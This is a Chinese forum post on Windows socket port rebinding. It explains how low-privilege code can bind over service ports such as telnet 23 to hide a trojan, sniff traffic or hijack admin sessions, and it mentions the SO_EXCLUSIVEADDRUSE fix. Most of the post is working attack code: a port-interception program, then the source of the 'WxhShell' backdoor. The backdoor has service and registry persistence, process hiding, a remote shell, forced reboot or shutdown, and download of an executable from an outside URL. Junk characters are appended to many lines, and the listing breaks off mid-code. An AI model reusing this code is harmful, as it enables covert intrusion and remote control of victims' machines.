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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  _4f;<FL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g .\[o@H  
1eKT^bgM  
  saddr.sin_family = AF_INET; "5 A! jq  
r :dTz  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /O9EQPm(  
KmF]\:sMD  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); > P)w?:k  
EQ ttoOO  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Wjc'*QCPl  
nP$9CA  
  这意味着什么?意味着可以进行如下的攻击: ElXFeJ%[G  
c%&>p||  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 IK]d3owA  
H>C=zo,oiC  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \Cj B1] I  
7 d vnupLh  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 `x|?&Ytmf9  
p#Bi>/C6  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z ]ONh  
t^L]/$q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;PH~<T  
#1[u (<AS  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =QsYXK7Mn4  
o}!PQ#`M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cu6Opq9  
DrQ`]]jj7  
  #include /E>e"tvss  
  #include [!z,lY>  
  #include u4j5w  
  #include    Q20 %"&Xp]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   he4(hX^  
  int main()  )*[3Vq  
  { BzzTGWq\  
  WORD wVersionRequested; :Sma`U&  
  DWORD ret; g5yJfRLxp  
  WSADATA wsaData; ]?*wbxU0  
  BOOL val; 7 3m1  
  SOCKADDR_IN saddr; f<H2-(m  
  SOCKADDR_IN scaddr; yjAL\U7`T  
  int err; 7L??ae  
  SOCKET s; ]-q;4.  
  SOCKET sc; #F#%`Rv1  
  int caddsize; A's{j7  
  HANDLE mt; g){<y~Mk  
  DWORD tid;   RZ7@cQY  
  wVersionRequested = MAKEWORD( 2, 2 ); >/|*DI-HJ  
  err = WSAStartup( wVersionRequested, &wsaData ); Uv.)?YeGh  
  if ( err != 0 ) { nlYNN/@"  
  printf("error!WSAStartup failed!\n"); OCUr{Nh  
  return -1; kl`W\tF  
  } HhpDR  
  saddr.sin_family = AF_INET; 68 sB )R  
   ;fJ.8C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 TN.rrop`#g  
/\Ef%@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P'2Qen*  
  saddr.sin_port = htons(23); E3i4=!Y  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Zh,71Umz  
  { g ?k=^C  
  printf("error!socket failed!\n"); IU[ [ H#  
  return -1; #jk_5W  
  } TO_e^A#  
  val = TRUE; `g,..Ns-r  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Ngwb Q7)  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s>en  
  { H.c7Nle  
  printf("error!setsockopt failed!\n"); 25T18&R  
  return -1; K;(mC<  
  } g{Rd=1SK]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;r8X.>P*  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 n ;Ei\\p!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 U17d>]ka  
yr6V3],Tp  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) "z c l|@  
  { R=dC4;  
  ret=GetLastError(); O=lzT~G|4  
  printf("error!bind failed!\n"); [ }:$yg  
  return -1; nu^436MSOa  
  } ]yu:i-SfP  
  listen(s,2); \lY_~*J  
  while(1) 4JEpl'5^Q  
  { I*&8^ r:A  
  caddsize = sizeof(scaddr); 4W])}C %  
  //接受连接请求 >7FHo-H/T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N;d] 14|  
  if(sc!=INVALID_SOCKET) u y+pP!<  
  { /{[o ~:'p  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mR~&)QBP.  
  if(mt==NULL) [Zrr)8A  
  { XG?8s &  
  printf("Thread Creat Failed!\n"); Fs{*XKv&lH  
  break; omFz@  
  } @7u0v  
  } N;R^h? '  
  CloseHandle(mt); LLI.8kn7  
  } 43w}qY1  
  closesocket(s); lMt=|66  
  WSACleanup(); O2+6st  
  return 0; edD)TpmE,  
  }   No$3"4wk  
  DWORD WINAPI ClientThread(LPVOID lpParam)  bLL2  
  { HsWk*L `y  
  SOCKET ss = (SOCKET)lpParam; QWU[@2@%r  
  SOCKET sc; $:6!H:ty  
  unsigned char buf[4096]; D=$)n_F  
  SOCKADDR_IN saddr; #z(]xI)"  
  long num; xoL\us`A  
  DWORD val; +mPx8P&%  
  DWORD ret; -/4P3SG/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Kq!3wb;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   }b}m3i1  
  saddr.sin_family = AF_INET; jCY %|  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); :]"V-1#}  
  saddr.sin_port = htons(23); gIfh3D=yX  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uO**E-`  
  { DH=hH&[e(d  
  printf("error!socket failed!\n"); FwK] $4*  
  return -1; NHt\ U9l'  
  } rjP/l6 ~'  
  val = 100; @CoIaUVP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lYIH/:T  
  { `XKLU  
  ret = GetLastError(); iCoX& "lb  
  return -1; "tZe>>I  
  } K:M8h{Ua  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =D(j)<9$A  
  { h( 4v8ae  
  ret = GetLastError(); pYg/Zm Jd  
  return -1; h1RSVp+?n  
  } "4Nt\WQ  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +_!QSU,@  
  { ~Ei<Z`3}7"  
  printf("error!socket connect failed!\n"); h;Kx!5)y  
  closesocket(sc); TpaInXR  
  closesocket(ss); CITc2v3a  
  return -1; <aw[XFg  
  } !Cs_F&l"j  
  while(1) qK+5NF|  
  { Sdo-nt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UG^q9 :t  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mDWG7Asp  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i%/+5gq  
  num = recv(ss,buf,4096,0); x;S @bY  
  if(num>0) S/ *E,))m  
  send(sc,buf,num,0); gUlo]!$  
  else if(num==0) +|v90ed  
  break; ~o(   
  num = recv(sc,buf,4096,0); wkq 66?  
  if(num>0) .}t e>]A*  
  send(ss,buf,num,0); kstIgcI  
  else if(num==0) ?< />Z)  
  break; 3Vwh|1?  
  } l} /F*  
  closesocket(ss); hxx.9x>ow  
  closesocket(sc); K9[UB  
  return 0 ; "Q0@/bYq  
  } EnR}IY&sI  
_t$sgz&  
1\Xw3prH  
========================================================== pmM9,6P4@  
!1k_PY5)  
下边附上一个代码,,WXhSHELL F2WKd1U  
W!X@  
========================================================== |4JEU3\$  
4 5e~6",  
#include "stdafx.h" sB</DS  
XSDpRo  
#include <stdio.h> ' %qr.T %  
#include <string.h> Ri{=]$  
#include <windows.h> oRFq @g  
#include <winsock2.h> |>Vb9:q9Po  
#include <winsvc.h> {=WgzP  
#include <urlmon.h> .8R@2c`}Cs  
m*pJBZxd  
#pragma comment (lib, "Ws2_32.lib") w(/S?d  
#pragma comment (lib, "urlmon.lib") AdEMa}u 6  
2iOV/=+  
#define MAX_USER   100 // 最大客户端连接数 Z r8*et  
#define BUF_SOCK   200 // sock buffer 3mgD(,(^  
#define KEY_BUFF   255 // 输入 buffer >%G1"d?j  
H)?z #x  
#define REBOOT     0   // 重启 M7T5 ~/4  
#define SHUTDOWN   1   // 关机 s*[bFJwN  
8Wx=p#_  
#define DEF_PORT   5000 // 监听端口 %;_MGae  
UpG~[u)%@  
#define REG_LEN     16   // 注册表键长度 :]KAkhFkbb  
#define SVC_LEN     80   // NT服务名长度 L#J1b!D&<6  
fl(wV.Je|  
// 从dll定义API t!XwW$@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vt8By@]:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n[z+<VGwC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z~CjA%l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WMdg1J+~  
JI}'dU>*U:  
// wxhshell配置信息 3$ pX  
struct WSCFG { NOva'qk  
  int ws_port;         // 监听端口 %Zi} MPx  
  char ws_passstr[REG_LEN]; // 口令 $I=~S[p  
  int ws_autoins;       // 安装标记, 1=yes 0=no N['  .BN  
  char ws_regname[REG_LEN]; // 注册表键名 tA;}h7/Lc~  
  char ws_svcname[REG_LEN]; // 服务名 ;`&kZi60Hz  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 YWLj?+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 wp_0+$?s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Upe%rC(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no u_enqC3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" b;n[mk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 J zl6eo[;  
,F|f. 7;  
}; p2eGm-Erq  
}tz7b#  
// default Wxhshell configuration [WmM6UEVS  
struct WSCFG wscfg={DEF_PORT, iMlWM-wz>O  
    "xuhuanlingzhe", h0$iOE  
    1, &8H'eAA  
    "Wxhshell", b=vkiO`2  
    "Wxhshell", t_^4`dW`  
            "WxhShell Service", C]6O!Pb0  
    "Wrsky Windows CmdShell Service", )e{aN+  
    "Please Input Your Password: ", d6O[ @CyP  
  1, 5O% {{J  
  "http://www.wrsky.com/wxhshell.exe", (>Em^(&  
  "Wxhshell.exe" I,tud!p`  
    }; { FkF  
p{_ " bB  
// 消息定义模块 >6T8^Nt  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; )GpK@R]{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; d=(mw_-?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LoV<:|GTI  
char *msg_ws_ext="\n\rExit."; jp,4h4C^)  
char *msg_ws_end="\n\rQuit."; K0~rN.C!0  
char *msg_ws_boot="\n\rReboot..."; ?4,T}@P  
char *msg_ws_poff="\n\rShutdown..."; 1?}T=)3+$  
char *msg_ws_down="\n\rSave to "; DQ3<$0  
h{Y",7] !  
char *msg_ws_err="\n\rErr!"; N7"W{"3D  
char *msg_ws_ok="\n\rOK!"; h`q1  
s;e\ pt  
char ExeFile[MAX_PATH]; 3`g^  
int nUser = 0; b}`T Ln  
HANDLE handles[MAX_USER]; [JiH\+XLPs  
int OsIsNt; f|5co>Hk  
7.Op<  
SERVICE_STATUS       serviceStatus; <E~'.p,  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X'srL j.  
dV_G1'  
// 函数声明 ]^E?;1$f?  
int Install(void); la!~\wpa  
int Uninstall(void); :TbgFQ86~  
int DownloadFile(char *sURL, SOCKET wsh); }vuO$j  
int Boot(int flag); CJY$G}rk  
void HideProc(void); FrS]|=LJhX  
int GetOsVer(void); Ui~>SN>s  
int Wxhshell(SOCKET wsl); 1}x%%RD_  
void TalkWithClient(void *cs); K?;DMUSY\  
int CmdShell(SOCKET sock); afVT~Sf{  
int StartFromService(void); +(Ae4{z"1+  
int StartWxhshell(LPSTR lpCmdLine); /v{I  
)nkY_' BV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4(+PD&_J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); K- v#.e4  
D*jM1w_`  
// 数据结构和表定义 pi(m7Ci"  
SERVICE_TABLE_ENTRY DispatchTable[] = S jqpec8  
{ 9[4xFE?|  
{wscfg.ws_svcname, NTServiceMain}, Wr 4,YQM  
{NULL, NULL} XFl 6M~ c  
}; >MZ/|`[M  
h p1Bi  
// 自我安装 <'u'#E@"sl  
int Install(void) X'ag)|5ot  
{ #qki  
  char svExeFile[MAX_PATH]; y29m/i:  
  HKEY key; P.cyO3l  
  strcpy(svExeFile,ExeFile); -?\D\\+t  
@ArSC  
// 如果是win9x系统,修改注册表设为自启动 Jy)/%p~  
if(!OsIsNt) { O.? JmE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gc?a+T  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _BufO7 `.  
  RegCloseKey(key); K(4_a``05  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5BIY<B+i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U^PgG|0N  
  RegCloseKey(key); dtDFoETz  
  return 0; /ZX }Nc g  
    } 6ujW Nf  
  } cAw/I@jG  
} Yy8g(bU  
else { 4W75T2q#  
2 ?C)&  
// 如果是NT以上系统,安装为系统服务 wYea\^co  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); LVy yO3e  
if (schSCManager!=0) b%+Xy8a  
{ a?1Wq  
  SC_HANDLE schService = CreateService KI.unP%  
  ( *. t^MP  
  schSCManager, W?& %x(6M  
  wscfg.ws_svcname, xT8?&Bx  
  wscfg.ws_svcdisp, iZmcI;?u  
  SERVICE_ALL_ACCESS, =pNY eR_[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UKGPtKE<  
  SERVICE_AUTO_START, *~`(RV  
  SERVICE_ERROR_NORMAL, h[ ZN+M  
  svExeFile, i8p6Xht  
  NULL, jXJyc'm7  
  NULL, 6BlXLQ,8q  
  NULL, JF]JOI6.e  
  NULL, sO Y:e/_F  
  NULL A/(a`"mK|'  
  ); _c07}aQ ],  
  if (schService!=0) (FV >m  
  { (7Qo  
  CloseServiceHandle(schService); hH.G#-JO  
  CloseServiceHandle(schSCManager); BtZyn7a  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sW$XH1Uf#  
  strcat(svExeFile,wscfg.ws_svcname); 0RfZEG)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { u*R_\*j@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); c-w)|-ac.  
  RegCloseKey(key); z:O8Ls^\T  
  return 0; )7@0[>  
    } )oZ dj`  
  } lZ0 =;I  
  CloseServiceHandle(schSCManager); okXl8&mi  
} 9WHddDA  
} gw(z1L5 n  
K3C<{#r  
return 1; kfNWI#'9  
} f1? >h\F8  
WIOV2+  
// 自我卸载 ICCc./l|  
int Uninstall(void) M5B# TAybC  
{ MD]>g>  
  HKEY key; [QTV9  
CTK;dM'uQ  
if(!OsIsNt) { *Ex|9FCt$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1YA% -~  
  RegDeleteValue(key,wscfg.ws_regname); @HW*09TG  
  RegCloseKey(key); ESs\O?nO  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Tc^y%b0  
  RegDeleteValue(key,wscfg.ws_regname); iLT}oKF2N;  
  RegCloseKey(key); 9mgIUjz  
  return 0; ^Cmyx3O^  
  } $>gFf}#C  
} H]s.=.Ki  
} 6@o*xK7L  
else { POW>~Tof1  
QJNFA}*>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0x7'^Z>-oe  
if (schSCManager!=0) $kgVa^  
{ NA*&#X#~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); l6B@qYLZ  
  if (schService!=0) )"LJ hLg  
  { m|# y >4  
  if(DeleteService(schService)!=0) { NI5``BwpO  
  CloseServiceHandle(schService); n%-0V>  
  CloseServiceHandle(schSCManager); E]6 6]+;0_  
  return 0; Bx!-"e  
  } _@g;8CA  
  CloseServiceHandle(schService); tkhCw/  
  } !wNO8;(  
  CloseServiceHandle(schSCManager); l2d{ 73h  
} ToQ"Iy?  
} u-TUuP  
wzaV;ac4K  
return 1; @;kSx":b  
} |}1dFp  
hph4`{T  
// 从指定url下载文件 h![#;>(  
int DownloadFile(char *sURL, SOCKET wsh) Jwp7gYZ  
{ M2|is ~  
  HRESULT hr; CARzO7 b\w  
char seps[]= "/"; *=n:-  
char *token; l~.-e^p?  
char *file; JRFtsio*  
char myURL[MAX_PATH]; +V+a4lU14  
char myFILE[MAX_PATH]; /=h` L ,  
p'fYULYE  
strcpy(myURL,sURL); H"KCK6  
  token=strtok(myURL,seps); OB7hlW  
  while(token!=NULL) r>\bW)e  
  { '|4!5)/K  
    file=token; 2tLJU  Z1  
  token=strtok(NULL,seps); eQ"E   
  } h~26WLf.  
N7_"H>O$0U  
GetCurrentDirectory(MAX_PATH,myFILE); S$3JMFA  
strcat(myFILE, "\\"); :KN-F86i  
strcat(myFILE, file); k8Xm n6X  
  send(wsh,myFILE,strlen(myFILE),0); 1cGmg1U;  
send(wsh,"...",3,0); :LTN!jj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nm+s{  
  if(hr==S_OK) G`zm@QL  
return 0; .2pK.$.  
else Ah<+y\C  
return 1; $"&JWT!#  
{)"vN(mX  
} xpI wrJO  
P$sxr  
// 系统电源模块 AEuG v}#  
int Boot(int flag) )i<j XZ:O  
{ eq"]%s  
  HANDLE hToken; Ug`djIL  
  TOKEN_PRIVILEGES tkp; ^&)|sP  
b2]Kx&!  
  if(OsIsNt) { bfO=;S]b!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `kr?j:g  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a> )f=uS  
    tkp.PrivilegeCount = 1; w:l"\Tm  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <or2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W l1 6`9  
if(flag==REBOOT) { 6,uX,X5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?8 {"x8W;  
  return 0; <X5 fUU"+U  
} 4sM.C9W  
else { h1{3njdr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~v83pu1!2s  
  return 0; 5?L<N:;J_  
} KU;9}!#  
  } Q &t<Y^B  
  else { xCKRxF  
if(flag==REBOOT) { 0g\(+Qg^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [r-p]"R  
  return 0; 1sCR4L:+  
} mqJ_W[y7  
else { !-Y3V"  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ve=b16H  
  return 0; %bfZn9_m  
} 'n|5ZhXPB  
} 6^Sa;  
 XlJZhc  
return 1; \?N2=jsu$  
} - YV>j  
.m AjfP*  
// win9x进程隐藏模块 }&e5$lB  
void HideProc(void) Z6pUZ[j,  
{ $SE^S   
1 .X@;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); pNIf=lA  
  if ( hKernel != NULL ) y?:.;%!E  
  { x m@_IL&P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Yks|VJ1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j=J/x:w_e  
    FreeLibrary(hKernel); ?rIx/>C9  
  } g ci    
5Ph4<f` L~  
return; N [yy M'C  
} &=Wlaa/,&  
KdlQ!5(?X  
// 获取操作系统版本 LDD|(KLR*.  
int GetOsVer(void) T^v}mWCZ  
{ >*n0n!vF  
  OSVERSIONINFO winfo; 1QJL .  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); BUR*n;V`  
  GetVersionEx(&winfo); QIgNsz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _[y/Y\{I  
  return 1; '7@R7w!E4H  
  else HKr Mim-  
  return 0; : c[L3rJl  
} %[yJ4WL  
9S-9.mvop  
// 客户端句柄模块 63A.@mL  
int Wxhshell(SOCKET wsl) X$pJ :M{F$  
{ 7= DdrG<  
  SOCKET wsh; >U3cTEs cj  
  struct sockaddr_in client; RGU\h[  
  DWORD myID; r4f~z$QK  
TU7' J  
  while(nUser<MAX_USER) Tqk\XILG N  
{ iyp=lLk  
  int nSize=sizeof(client); yA>nli=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z~Q>V]a>;  
  if(wsh==INVALID_SOCKET) return 1; 4{l,  
3t6 LT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9I/N4sou  
if(handles[nUser]==0) w\brVnt  
  closesocket(wsh); #V}IvQl|  
else p^u:&Quac  
  nUser++; 4g7)iL^#~  
  } Y#3c }qb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); VYhbx 'e  
|a%Tp3Q~  
  return 0; V/;B3t~f  
} .% OR3"9@  
- R6)ROGl  
// 关闭 socket z"4~P3>{g  
void CloseIt(SOCKET wsh) BX^tR1  
{ ss e.*75U  
closesocket(wsh); $a %MOKr  
nUser--; M|[oaanY'  
ExitThread(0); t.'!`5G  
} ))i}7 chc  
G/mXq-  
// 客户端请求句柄 `V3Fx{  
void TalkWithClient(void *cs) 4NIRmDEd  
{ i2^>vYCsl  
Y]5 l.SV  
  SOCKET wsh=(SOCKET)cs; Zsh9>]M L  
  char pwd[SVC_LEN]; Pc o'l#:  
  char cmd[KEY_BUFF]; v6Vcjm  
char chr[1]; v]c6R-U  
int i,j; /^|Dbx!u  
R^e.s -  
  while (nUser < MAX_USER) { s|B3~Q]  
&l[$*<P5V  
if(wscfg.ws_passstr) { &(mR> mT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -FCe:iY! A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2,P^n4~A?w  
  //ZeroMemory(pwd,KEY_BUFF); 1&o|TT/  
      i=0; !7&5` q7  
  while(i<SVC_LEN) { 3 SGDy]  
HOh!Xcu  
  // 设置超时 CWP2{  
  fd_set FdRead; I15{)o(8$  
  struct timeval TimeOut; c\V7i#u[d;  
  FD_ZERO(&FdRead); Ji 0 tQV  
  FD_SET(wsh,&FdRead); FjI`uP  
  TimeOut.tv_sec=8; 1~QPG\cdIX  
  TimeOut.tv_usec=0; .q3/_*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wuJ4kW$  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;{o|9x|  
b,%C{mC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +XYE{E5  
  pwd=chr[0]; ")HFYqP>9  
  if(chr[0]==0xd || chr[0]==0xa) { ~<OSYb  
  pwd=0; #`X?=/q  
  break; ApXy=?fc  
  } f8.gT49I  
  i++; G<^{&E+=  
    } X/M4!L}\  
_OC<[A  
  // 如果是非法用户,关闭 socket *GN# r11d  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Clb@$,  
} az|N-?u  
5j-YM  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Z,\Vw:\F  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {3{"8-18  
^B 2 -)  
while(1) { \A6B,|@  
:'&brp3ii=  
  ZeroMemory(cmd,KEY_BUFF); Zdo'{ $  
HuKc9U'7A  
      // 自动支持客户端 telnet标准   k/gZ,  
  j=0; Q7COQ2~K   
  while(j<KEY_BUFF) { Y,e B|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0|\$Vp  
  cmd[j]=chr[0]; Uwx E<=z  
  if(chr[0]==0xa || chr[0]==0xd) { Y0K[Sm>  
  cmd[j]=0; 1,!(0 5H  
  break; W#C*5@8  
  }  XJ5 .  
  j++; ,V:SN~P66+  
    } ^J8lBLqe  
~Ti'FhN  
  // 下载文件 bl(RyA gA  
  if(strstr(cmd,"http://")) { j;iAD:nf  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;Nj7qt  
  if(DownloadFile(cmd,wsh)) xZF}D/S?Ov  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Sbe^x  
  else *lw_=MXSK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @)&=%  
  } n%s]30Xs  
  else { "?I y(*^  
2WVka  
    switch(cmd[0]) { (<oy N7NT  
  >:!X.TG$  
  // 帮助 y (pks$  
  case '?': { "s_lP&nq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -JjM y X  
    break; `&sH-d4v  
  } E5lBdM>2  
  // 安装 /U)D5ot<  
  case 'i': { B[-v[K2  
    if(Install()) *zL}&RUKM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=0 u2~E  
    else `eCo~(F y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8-%TC\:  
    break; vV e';|8v  
    } Ab"@714@  
  // 卸载 xzZ38xIhV  
  case 'r': { o;R2p $  
    if(Uninstall()) hL;(C) (  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o,8TDg  
    else Q_X.rUL0w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &_|#.  
    break; iBgx  
    } "z=SO1  
  // 显示 wxhshell 所在路径 [>%xd)8.c  
  case 'p': { g:dH~>  
    char svExeFile[MAX_PATH]; 2!J&+r  
    strcpy(svExeFile,"\n\r");  K;z7/[%  
      strcat(svExeFile,ExeFile); Uu(SR/R}  
        send(wsh,svExeFile,strlen(svExeFile),0); 4'A!; ]:  
    break; 2=`o_<P'"  
    } 04l!:Tp,  
  // 重启 *P2S6z2  
  case 'b': { ],a5)kV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TS9|a{j3!  
    if(Boot(REBOOT)) Yqi4&~?db  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 474SMx$  
    else { #(JNn'fzq  
    closesocket(wsh); 4k_vdz  
    ExitThread(0); .QJ5sgmh  
    } YLv'43PL  
    break; m(#LhlX  
    } ?fjuh}Q5h  
  // 关机 #[~pD:qqM  
  case 'd': { Zk"eA'"\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [^e%@TV>d  
    if(Boot(SHUTDOWN)) ft KTnK.  
